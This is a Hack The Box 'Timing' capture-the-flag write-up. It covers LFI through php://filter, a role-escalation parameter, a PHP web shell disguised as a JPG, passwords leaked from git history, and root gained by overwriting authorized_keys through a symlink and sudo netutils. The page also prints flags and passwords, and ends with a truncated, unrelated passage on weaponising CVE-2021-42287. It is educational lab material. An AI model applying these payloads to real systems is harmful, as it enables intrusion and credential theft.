Month: December 2021
htb-timing-nl
Hackthebox Timing writeup
Introduction@Timing:~$
Column | Details |
---|---|
Name | Timing |
IP | 10.10.11.135 |
Points | 30 |
Os | Linux |
Difficulty | Medium |
Creator | irogir |
Out On | 11 Dec 2021 |
Brief@Timing :~$
Hackthebox release new machine called timing
, in this machine we need to first find LFI with some fuzzing
through LFI we need to dump the sorce code of file and get useful information
and get the admin panel through admin panel we will upload imges abusing that function to get RFI
and dump the git directory to find old password and get ssh session
after that abuse the netutils to overwrite the authorized_keys
.
Recon
Nmap
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ nmap -sC -sV -oA nmap/result 10.10.11.135
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-21 23:05 CST
Nmap scan report for 10.10.11.135
Host is up (0.091s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
| 256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA)
|_ 256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Simple WebApp
|_Requested resource was ./login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.38 seconds
There are two ports open 22:ssh,80:http
Port-80
It’s a simple
login page.
Trying default username
password but nothing
work.
Let’s run gobuster
.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ gobuster dir -u http://10.10.11.135/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.135/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2021/12/21 23:22:09 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 313] [--> http://10.10.11.135/images/]
/login.php (Status: 200) [Size: 5609]
/index.php (Status: 302) [Size: 0] [--> ./login.php]
/profile.php (Status: 302) [Size: 0] [--> ./login.php]
/image.php (Status: 200) [Size: 0]
/header.php (Status: 302) [Size: 0] [--> ./login.php]
/footer.php (Status: 200) [Size: 3937]
/upload.php (Status: 302) [Size: 0] [--> ./login.php]
/css (Status: 301) [Size: 310] [--> http://10.10.11.135/css/]
/js (Status: 301) [Size: 309] [--> http://10.10.11.135/js/]
/logout.php (Status: 302) [Size: 0] [--> ./login.php]
All pages redirect to login.php
except /image
and image.php
.
Let’s first go to /images
Forbidden! let’s check image.php
And we see image.php
don’t give any error or redirect
. i think this page accept some get or post parameter
because when we upload any php
shell through images it’s also need parameter
and if we don’t pass any they give us blank
page like this.
Let’s find the parameter with wfuzz
.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ wfuzz -u http://10.10.11.135/image.php?FUZZ=/etc/passwd -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt -t 50 --hh 0
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.135/image.php?FUZZ=/etc/passwd
Total requests: 2588
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000360: 200 0 L 3 W 25 Ch "img"
Total time: 8.155825
Processed Requests: 2588
Filtered Requests: 2587
Requests/sec.: 317.3192
Found the parameter
let’s check if it has LFI
or not.
┌─[puck@parrot-lt]─[~/htb/timing]
└──╼ $curl http://10.10.11.135/image.php?img=/etc/passwd | html2text
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--100 25 100 25 0 0 137 0 --:--:-- --:--:-- --:--:-- 137
Hacking attempt detected!
┌─[puck@parrot-lt]─[~/htb/timing]
And it’s said hacking attempt detected!
Let’s use php base64
filter to check if it’s still the same scenario
.
http://10.10.11.135/image.php?img=php://filter/convert.base64-decoder/resource=/etc/passwd
And it’s works!
┌─[puck@parrot-lt]─[~/htb/timing]
└──╼ $curl http://10.10.11.135/image.php?img=php://filter/convert.base64-decoder/resource=/etc/passwd | html2text
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--100 1614 100 1614 0 0 8819 0 --:--:-- --:--:-- --:--:-- 8819
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:
x:4:65534:sync:/bin:/bin/sync
--snip--
pollinate:x:109:1::/var/cache/pollinate:/bin/
false sshd:x:110:65534::/run/sshd:/usr/sbin/nologin mysql:x:111:114:MySQL
Server,,,:/nonexistent:/bin/false aaron:x:1000:1000:aaron:/home/aaron:/bin/bash
┌─[puck@parrot-lt]─[~/htb/timing]
└──╼ $
Got aaron user inside /etc/passwd
file.
Let’s check the login.php
file with LFI.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=login.php | base64 -d
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2764 100 2764 0 0 15885 0 --:--:-- --:--:-- --:--:-- 15885
<?php
include "header.php";
function createTimeChannel()
{
sleep(1);
}
include "db_conn.php";
if (isset($_SESSION['userid'])){
header('Location: ./index.php');
die();
}
if (isset($_GET['login'])) {
$username = $_POST['user'];
$password = $_POST['password'];
$statement = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$result = $statement->execute(array('username' => $username));
$user = $statement->fetch();
if ($user !== false) {
createTimeChannel();
if (password_verify($password, $user['password'])) {
$_SESSION['userid'] = $user['id'];
$_SESSION['role'] = $user['role'];
header('Location: ./index.php');
return;
}
}
$errorMessage = "Invalid username or password entered";
}
?>
<?php
if (isset($errorMessage)) {
?>
<div class="container-fluid">
<div class="row">
<div class="col-md-10 col-md-offset-1">
<div class="alert alert-danger alert-dismissible fade in text-center" role="alert"><strong>
<?php echo $errorMessage; ?>
</div>
</div>
</div>
</div>
<?php
}
?>
<link rel="stylesheet" href="./css/login.css">
<div class="wrapper fadeInDown">
<div id="formContent">
<div class="fadeIn first" style="padding: 20px">
<img src="./images/user-icon.png" width="100" height="100"/>
</div>
<form action="?login=true" method="POST">
<input type="text" id="login" class="fadeIn second" name="user" placeholder="login">
<input type="text" id="password" class="fadeIn third" name="password" placeholder="password">
<input type="submit" class="fadeIn fourth" value="Log In">
</form>
<!-- todo -->
<div id="formFooter">
<a class="underlineHover" href="#">Forgot Password?</a>
</div>
</div>
</div>
<?php
include "footer.php";
If you look at the login.php
file it’s include db file called db_conn.php
.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=db_conn.php | base64 -d
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 124 100 124 0 0 720 0 --:--:-- --:--:-- --:--:-- 720
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
Got the database
password but i try this on login
page and ssh through aaron
but nothing work.
Let’s check the upload.php
file which we found in gobuster
result.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=upload.php | base64 -d
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1360 100 1360 0 0 8095 0 --:--:-- --:--:-- --:--:-- 8095
<?php
include("admin_auth_check.php");
$upload_dir = "images/uploads/";
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}
// Check if file already exists
if (file_exists($target_file)) {
$error = "Sorry, file already exists.";
}
if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
}
if (empty($error)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Error: There was an error uploading your file.";
}
} else {
echo "Error: " . $error;
}
?>
Before uploading it’s checking on admin_auth_check.php
let’s check that file first
.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=admin_auth_check.php | base64 -d
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 268 100 268 0 0 1558 0 --:--:-- --:--:-- --:--:-- 1549
<?php
include_once "auth_check.php";
if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
echo "No permission to access this panel!";
header('Location: ./index.php');
die();
}
?>
It’s checking
that if our session role id
is equal to 1 or not if not it’s redirect
to index.php.
But the question
is what’s the username and password
of login page? after some time i try username aaron
and password is also aaron and it’s work
.
And it’s said user 2
but we need our role id = 1
for that we need to find
a way let’s check the edit profile
tab.
Let’s check the source code of profile.php
with that LFI
.
it’s submit the form
with help of js
.
It’s sending
the form data to profile_update.php
.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=js/profile.js | base64 -d
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 852 100 852 0 0 5011 0 --:--:-- --:--:-- --:--:-- 5041
function updateProfile() {
var xml = new XMLHttpRequest();
xml.onreadystatechange = function () {
if (xml.readyState == 4 && xml.status == 200) {
document.getElementById("alert-profile-update").style.display = "block"
}
};
xml.open("POST", "profile_update.php", true);
xml.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xml.send("firstName=" + document.getElementById("firstName").value + "&lastName=" + document.getElementById("lastName").value + "&email=" + document.getElementById("email").value + "&company=" + document.getElementById("company").value);
}
Let’s check the profile_update.php
file.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=profile_update.php | base64 -d
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2320 100 2320 0 0 12888 0 --:--:-- --:--:-- --:--:-- 12888
<?php
include "auth_check.php";
$error = "";
if (empty($_POST['firstName'])) {
$error = 'First Name is required.';
} else if (empty($_POST['lastName'])) {
$error = 'Last Name is required.';
} else if (empty($_POST['email'])) {
$error = 'Email is required.';
} else if (empty($_POST['company'])) {
$error = 'Company is required.';
}
if (!empty($error)) {
die("Error updating profile, reason: " . $error);
} else {
include "db_conn.php";
$id = $_SESSION['userid'];
$statement = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$result = $statement->execute(array('id' => $id));
$user = $statement->fetch();
if ($user !== false) {
ini_set('display_errors', '1');
ini_set('display_startup_errors', '1');
error_reporting(E_ALL);
$firstName = $_POST['firstName'];
$lastName = $_POST['lastName'];
$email = $_POST['email'];
$company = $_POST['company'];
$role = $user['role'];
if (isset($_POST['role'])) {
$role = $_POST['role'];
$_SESSION['role'] = $role;
}
// dont persist role
$sql = "UPDATE users SET firstName='$firstName', lastName='$lastName', email='$email', company='$company' WHERE id=$id";
$stmt = $pdo->prepare($sql);
$stmt->execute();
$statement = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$result = $statement->execute(array('id' => $id));
$user = $statement->fetch();
// but return it to avoid confusion
$user['role'] = $role;
$user['6'] = $role;
echo json_encode($user, JSON_PRETTY_PRINT);
} else {
echo "No user with this id was found.";
}
}
?>
And we see if we specify role=1
in the profile update
form. it’s set the session role id=1
.
Now let’s submit
the form and intercept
the req in burp.
Add the &role=1
in last and send
the req.Now go to the home
page or reload
the page.
And we see a new link
appear Admin Panel
let’s go to that page.
And we see we can upload
avatar image now let’s check the source code of upload.php
page.
And we see the process of uploading
file
1. it’s check if it is jpg
or not
2. it’s create a file name with md5
hash
3. inside md5 function
it’s using $file_hash which interpreted
as string because it’s using single
cot rather than double cot you can read
about that more in article
4. but the time function is return dynamic
value
5. and then the file_name
Link
: What is the difference between single-quoted and double-quoted strings in PHP?
Now to get the name
of the file i create a python
script to get that.
Exploit.py
import time
import hashlib
while True:
print(f"hash = {hashlib.md5('$file_hash'.encode()+str(int(time.time())).encode()).hexdigest()}")
time.sleep(1)
Now let’s create a jpg
file which has php code inside
that.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[/home/dedsec/Downloads/www]
└──╼ [★]$ cat dedsec.jpg
<?php system($_GET[dedsec]);?>
Before uploading
the file start the python
script first.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ python3 exploit.py
Now upload
the file.
Now check every single
hash which generated by python
script and try to send the req
with that hash with curl
.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ curl 'http://10.10.11.135/image.php?img=images/uploads/11c9776e30e9f474734c1aab85f1102a_dedsec.jpg&dedsec=id'
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ curl 'http://10.10.11.135/image.php?img=images/uploads/8303d2315176ef5e4f8d27db11525ee2_dedsec.jpg&dedsec=id'
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ curl 'http://10.10.11.135/image.php?img=images/uploads/dc1c96720db5b676ce16744ded6b6482_dedsec.jpg&dedsec=id'
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ curl 'http://10.10.11.135/image.php?img=images/uploads/b4a4cc1422fd48eb3ea2a4b14e9086e4_dedsec.jpg&dedsec=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
And we got the RCE
But the problem
is we can’t get the rev shell
back because of ip table
rules.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ curl 'http://10.10.11.135/image.php?img=images/uploads/b4a4cc1422fd48eb3ea2a4b14e9086e4_dedsec.jpg&dedsec=ls'
admin_auth_check.php
auth_check.php
avatar_uploader.php
css
db_conn.php
footer.php
header.php
image.php
images
index.php
js
login.php
logout.php
profile.php
profile_update.php
upload.php
After some enumeration
i find a zip file called source-files-backup.zip
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ curl 'http://10.10.11.135/image.php?img=images/uploads/b4a4cc1422fd48eb3ea2a4b14e9086e4_dedsec.jpg&dedsec=ls+-al+/opt/'
total 624
drwxr-xr-x 2 root root 4096 Dec 2 11:19 .
drwxr-xr-x 24 root root 4096 Nov 29 01:34 ..
-rw-r--r-- 1 root root 627851 Jul 20 22:36 source-files-backup.zip
I copy that zip file in /var/www/html
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ curl 'http://10.10.11.135/image.php?img=images/uploads/b4a4cc1422fd48eb3ea2a4b14e9086e4_dedsec.jpg&dedsec=cp+/opt/source-files-backup.zip+/var/www/html/'
Now download
that zip file.
Let’s unzip
the file.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing/www]
└──╼ [★]$ ls -al
total 616
drwxr-xr-x 1 root root 46 Dec 22 01:08 .
drwxr-xr-x 1 root root 54 Dec 22 01:08 ..
-rw-r--r-- 1 dedsec dedsec 627851 Dec 22 01:07 source-files-backup.zip
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing/www]
└──╼ [★]$ unzip source-files-backup.zip
And we see there .git
directory let’s dump all commits
in the background.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing/www]
└──╼ [★]$ ls -al backup/
total 52
drwxr-xr-x 1 root root 350 Jul 20 17:34 .
drwxr-xr-x 1 root root 74 Dec 22 01:12 ..
-rw-r--r-- 1 root root 200 Jul 20 17:34 admin_auth_check.php
-rw-r--r-- 1 root root 373 Jul 20 17:34 auth_check.php
-rw-r--r-- 1 root root 1268 Jul 20 17:34 avatar_uploader.php
drwxr-xr-x 1 root root 52 Jul 20 17:34 css
-rw-r--r-- 1 root root 92 Jul 20 17:34 db_conn.php
-rw-r--r-- 1 root root 3937 Jul 20 17:34 footer.php
drwxr-xr-x 1 root root 144 Jul 20 17:35 .git
-rw-r--r-- 1 root root 1498 Jul 20 17:34 header.php
-rw-r--r-- 1 root root 507 Jul 20 17:34 image.php
drwxr-xr-x 1 root root 68 Jul 20 17:34 images
-rw-r--r-- 1 root root 188 Jul 20 17:34 index.php
drwxr-xr-x 1 root root 114 Jul 20 17:34 js
-rw-r--r-- 1 root root 2074 Jul 20 17:34 login.php
-rw-r--r-- 1 root root 113 Jul 20 17:34 logout.php
-rw-r--r-- 1 root root 3041 Jul 20 17:34 profile.php
-rw-r--r-- 1 root root 1740 Jul 20 17:34 profile_update.php
-rw-r--r-- 1 root root 984 Jul 20 17:34 upload.php
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing/www]
└──╼ [★]$ /opt/GitTools/Extractor/extractor.sh backup/ git_dump/
And there is db_conn.php
file which has same password
which we found in LFI
.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing/www/backup]
└──╼ [★]$ ls -al
total 52
drwxr-xr-x 1 root root 350 Jul 20 17:34 .
drwxr-xr-x 1 root root 74 Dec 22 01:12 ..
-rw-r--r-- 1 root root 200 Jul 20 17:34 admin_auth_check.php
-rw-r--r-- 1 root root 373 Jul 20 17:34 auth_check.php
-rw-r--r-- 1 root root 1268 Jul 20 17:34 avatar_uploader.php
drwxr-xr-x 1 root root 52 Jul 20 17:34 css
-rw-r--r-- 1 root root 92 Jul 20 17:34 db_conn.php
-rw-r--r-- 1 root root 3937 Jul 20 17:34 footer.php
drwxr-xr-x 1 root root 144 Jul 20 17:35 .git
-rw-r--r-- 1 root root 1498 Jul 20 17:34 header.php
-rw-r--r-- 1 root root 507 Jul 20 17:34 image.php
drwxr-xr-x 1 root root 68 Jul 20 17:34 images
-rw-r--r-- 1 root root 188 Jul 20 17:34 index.php
drwxr-xr-x 1 root root 114 Jul 20 17:34 js
-rw-r--r-- 1 root root 2074 Jul 20 17:34 login.php
-rw-r--r-- 1 root root 113 Jul 20 17:34 logout.php
-rw-r--r-- 1 root root 3041 Jul 20 17:34 profile.php
-rw-r--r-- 1 root root 1740 Jul 20 17:34 profile_update.php
-rw-r--r-- 1 root root 984 Jul 20 17:34 upload.php
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing/www/backup]
└──╼ [★]$ cat db_conn.php
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
Let’s check the git commits
which we dump in the background
.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing/www/git_dump]
└──╼ [★]$ ls -al
total 0
drwxr-xr-x 1 root root 168 Dec 22 01:12 .
drwxr-xr-x 1 root root 74 Dec 22 01:12 ..
drwxr-xr-x 1 root root 372 Dec 22 01:12 0-16de2698b5b122c93461298eab730d00273bd83e
drwxr-xr-x 1 root root 372 Dec 22 01:12 1-e4e214696159a25c69812571c8214d2bf8736a3f
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing/www/git_dump]
└──╼ [★]$ cat 0-16de2698b5b122c93461298eab730d00273bd83e/db_conn.php && cat 1-e4e214696159a25c69812571c8214d2bf8736a3f/db_conn.php
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', 'S3cr3t_unGu3ss4bl3_p422w0Rd');
And we got the different
password let’s try this password with ssh
.
And we got the user.txt
file.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing/www/git_dump]
└──╼ [★]$ ssh aaron@10.10.11.135
The authenticity of host '10.10.11.135 (10.10.11.135)' can't be established.
ECDSA key fingerprint is SHA256:w5P4pFdNqpvCcxxisM5OCJz7a6chyDUrd1JQ14k5smY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.135' (ECDSA) to the list of known hosts.
aaron@10.10.11.135's password: S3cr3t_unGu3ss4bl3_p422w0Rd
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-147-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed Dec 22 07:15:18 UTC 2021
System load: 0.0 Processes: 169
Usage of /: 48.9% of 4.85GB Users logged in: 0
Memory usage: 11% IP address for eth0: 10.10.11.135
Swap usage: 0%
8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
aaron@timing:~$ cat user.txt
202727f3cc3d17a1a6f04f8d9df2e333
Privilege escalation
Before running linPEAS
let’s check manually.
aaron@timing:~$ sudo -l
Matching Defaults entries for aaron on timing:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User aaron may run the following commands on timing:
(ALL) NOPASSWD: /usr/bin/netutils
And we see we can execute
netutils with root permission
let’s check the content inside netutils
.
aaron@timing:~$ sudo -l
Matching Defaults entries for aaron on timing:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User aaron may run the following commands on timing:
(ALL) NOPASSWD: /usr/bin/netutils
aaron@timing:~$ cat /usr/bin/netutils
#! /bin/bash
java -jar /root/netutils.jar
aaron@timing:~$
It is running netutils.jar
which is inside root
folder so we can’t view that.
And we see it’s get the file
and place it on aaron
home folder with root
permission.
So i create a symlink of /root/.ssh/authorized_keys
with keys so when we get the file
with same name it’s overwrite
the content of authorized_keys
.
aaron@timing:~$ ln -s /root/.ssh/authorized_keys keys
aaron@timing:~$ ls -al
total 36
drwxr-x--x 5 aaron aaron 4096 Dec 22 08:03 .
drwxr-xr-x 3 root root 4096 Dec 2 09:55 ..
lrwxrwxrwx 1 root root 9 Oct 5 15:33 .bash_history -> /dev/null
-rw-r--r-- 1 aaron aaron 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 aaron aaron 3771 Apr 4 2018 .bashrc
drwx------ 2 aaron aaron 4096 Nov 29 01:34 .cache
drwx------ 3 aaron aaron 4096 Nov 29 01:34 .gnupg
lrwxrwxrwx 1 aaron aaron 26 Dec 22 08:03 keys -> /root/.ssh/authorized_keys
drwxrwxr-x 3 aaron aaron 4096 Nov 29 01:34 .local
-rw-r--r-- 1 aaron aaron 807 Apr 4 2018 .profile
-rw-r----- 1 root aaron 33 Dec 22 08:01 user.txt
lrwxrwxrwx 1 root root 9 Oct 5 15:33 .viminfo -> /dev/null
aaron@timing:~$
Now in parrot
machine create a ssh key
and rename or copy the id_rsa.pub
to keys.
then
aaron@timing:~$ sudo /usr/bin/netutils netutils v0.1 Select one option: [0] FTP [1] HTTP [2] Quit Input >> 1 Enter Url: http://10.10.14.8/keys Initializing download: http://10.10.14.8/keys File size: 568 bytes Opening output file keys Server unsupported, starting from scratch with one connection. Starting download Downloaded 568 byte in 0 seconds. (2.77 KB/s) netutils v0.1 Select one option: [0] FTP [1] HTTP [2] Quit Input >> 2 aaron@timing:~$
And open simple http server
.
┌─[puck@parrot-lt]─[~/htb/timing]
└──╼ $sudo python3 -m http.server 80
[sudo] password for puck:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
HTTP/1.0" 200 -
10.10.11.135 - - [16/Jun/2022 08:50:27] "GET /keys HTTP/1.0" 200 -
10.10.11.135 - - [16/Jun/2022 08:50:27] "GET /keys HTTP/1.0" 200 -
Now enter the url
and get the file after getting the file
you see new file is not created
it means it’s overwrite the authorized_keys
.
Now let’s login with our id_rsa
and get the root.txt
file.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/.ssh]
└──╼ [★]$ ssh -i id_rsa root@10.10.11.135
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-147-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed Dec 22 08:06:31 UTC 2021
System load: 0.1 Processes: 203
Usage of /: 48.7% of 4.85GB Users logged in: 1
Memory usage: 10% IP address for eth0: 10.10.11.135
Swap usage: 0%
8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Dec 7 12:08:29 2021
root@timing:~# id
uid=0(root) gid=0(root) groups=0(root)
root@timing:~# cat root.txt
4a2e253435e9918b37745bf27f4e6183
And we pwned it …….
root@timing:~# cat /etc/iptables/rules.v4
# Generated by iptables-save v1.6.1 on Tue Oct 5 15:25:56 2021
*filter
:INPUT ACCEPT [31:2080]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:chk_apache_user - [0:0]
-A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A OUTPUT -m owner --uid-owner 33 -j chk_apache_user
-A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A OUTPUT -m owner --uid-owner 33 -j chk_apache_user
-A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A OUTPUT -m owner --uid-owner 33 -j chk_apache_user
-A chk_apache_user -j REJECT --reject-with icmp-port-unreachable
-A chk_apache_user -j REJECT --reject-with icmp-port-unreachable
-A chk_apache_user -j REJECT --reject-with icmp-port-unreachable
COMMIT
# Completed on Tue Oct 5 15:25:56 2021
root@timing:~#
root@timing:~# cat /etc/iptables/rules.v6
# Generated by ip6tables-save v1.6.1 on Tue Oct 5 15:25:56 2021
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [24:1536]
COMMIT
# Completed on Tue Oct 5 15:25:56 2021
root@timing:~#
root@timing:~# crontab -l
# Edit this file to introduce tasks to be run by cron.
--snip--
#
# m h dom mon dow command
*/5 * * * * /usr/bin/find /var/www/html/images/uploads -iname '*.zip' -mmin +3 -exec /bin/rm -f {} +
root@timing:~#
If u liked the writeup.Support a Student to Get the OSCP-Cert
Donation for OSCP
Topic | Url |
---|---|
What is the difference between single-quoted and double-quoted strings in PHP? | https://www.geeksforgeeks.org/what-is-the-difference-between-single-quoted-and-double-quoted-strings-in-php/#:~:text=Double%2Dquoted%20strings%3A%20By%20using,variables%20directly%20within%20the%20string.&text=Each%20variable%20will%20be%20replaced%20by%20its%20value. |
Protected: htb-shibboleth-private
Protected: htb-backdoor-private
Protected: thm-solar-private
sam-the-admin
CVE-2021-42287/CVE-2021-42278 Weaponisation
https://github.com/WazeHell/sam-the-admin
Posted on Fri 10 December 2021 in Active Directory
So on 9th November 2021, Cliff Fisher tweeted about a bunch of CVE’s to do with Active Directory that caught a lot of people’s eyes. These included CVE-2021-42278, CVE-2021-42291, CVE-2021-42287 and CVE-2021-42282. The one that caught my eye the most was CVE-2021-42287 as it related to PAC confusion and impersonation of domain controllers, also having just worked on PAC forging with Rubeus 2.0.
This post discusses my quest to figure out how to exploit this issue and some things I discovered along the way.
I just want to highlight that there’s no new research here, this issue was discovered by Andrew Bartlett of Catalyst IT. I just found one way to weaponise it, there may well be others in the issues he found.
A Little Digging
So immediately upon seeing Cliff’s tweet, Ceri Coburn and I started tryng to figure out how this could be exploited. We (perhaps incorrectly) latched onto the text on Microsofts description of CVE-2021-42287 which seemed to be based around the idea of TGT’s being issued without PACs. This led me to modify Rubeus to allow for requesting TGT’s without a PAC.
After Ceri debugging the Windows KDC and us digging through the leaked XP source we were convinced that to trigger the codepath we needed to go down (to insert a PAC into a ST when it was requested with a TGT lacking a PAC) required a cross domain S4U2self but was unable to get it to work. The only way we could get a DC to add a PAC when an service ticket (ST) was requested using a TGT without a PAC was by configuring altSecurityIdentities.
